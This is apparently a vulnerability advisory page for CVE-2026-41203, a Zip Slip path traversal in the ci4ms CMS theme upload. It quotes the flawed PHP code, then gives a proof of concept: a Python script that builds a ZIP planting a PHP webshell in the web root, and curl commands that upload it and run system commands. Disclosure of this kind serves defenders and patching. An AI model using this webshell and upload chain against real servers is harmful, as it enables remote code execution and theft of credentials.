ci4ms CVE-2026-41203

CRITICAL
Path Traversal (CWE-22)
2026-04-22 https://github.com/ci4-cms-erp/ci4ms GHSA-xv3r-vr59-95rg
Share

Lifecycle Timeline

1
Analysis Generated
Apr 23, 2026 - 06:44 vuln.today

DescriptionNVD

Summary

ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.

Details

modules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:

php
public function upload()
{
    $valData = ([
        'theme' => ['label' => lang('Theme.backendTheme'), 'rules' => 'uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]'],
    ]);
    if ($this->validate($valData) == false) return redirect()->route('backendThemes')->withInput()->with('errors', $this->validator->getErrors());
    $file = $this->request->getFile('theme');
    $tempPath = WRITEPATH . 'tmp/' . str_replace('_theme.zip', '', $file->getName()) . '/';
    $zip = new \ZipArchive();
    if ($zip->open($file->getTempName()) === true) {
        $zip->extractTo($tempPath);     // no entry-name validation
        $zip->close();
    } ...
    $log = install_theme_from_tmp($themeName);
    ...
}

A ZIP containing entries like ../../public/shell.php is extracted outside writable/tmp/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.

Routing: modules/Theme/Config/Routes.php binds POST backend/themes/themesUpload to Theme::upload with role=create. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has create on the Theme module, and any admin with that role can trigger it directly.

A companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.

PoC

Build the archive:

python
python3 -c "
import zipfile
with zipfile.ZipFile('evil_theme.zip','w') as z:
    z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
    z.writestr('info.xml', '<theme name=\"x\"/>')
"

Upload through the Theme manager with an authenticated session that has theme create:

bash
curl -i -b 'ci4ms_session=<SESSION_ID>' \
  -F 'theme=@evil_theme.zip' \
  https://target.example.com/backend/themes/themesUpload

Trigger the shell:

bash
curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

Any ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.

AnalysisAI

Arbitrary file write and remote code execution in ci4ms Theme upload functionality allows authenticated backend users with theme creation permissions to extract malicious ZIP archives containing path-traversal sequences, drop PHP webshells into the public web root, and execute system commands. The vulnerability stems from direct ZipArchive extraction without entry-name validation (classic Zip Slip). …

Sign in for full analysis, threat intelligence, and remediation guidance.

RemediationAI

Within 24 hours: Inventory all ci4ms deployments and verify current version against 0.31.5.0. Within 7 days: Apply vendor-released patch version 0.31.5.0 to all affected ci4ms instances. …

Sign in for detailed remediation steps.

Share

CVE-2026-41203 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy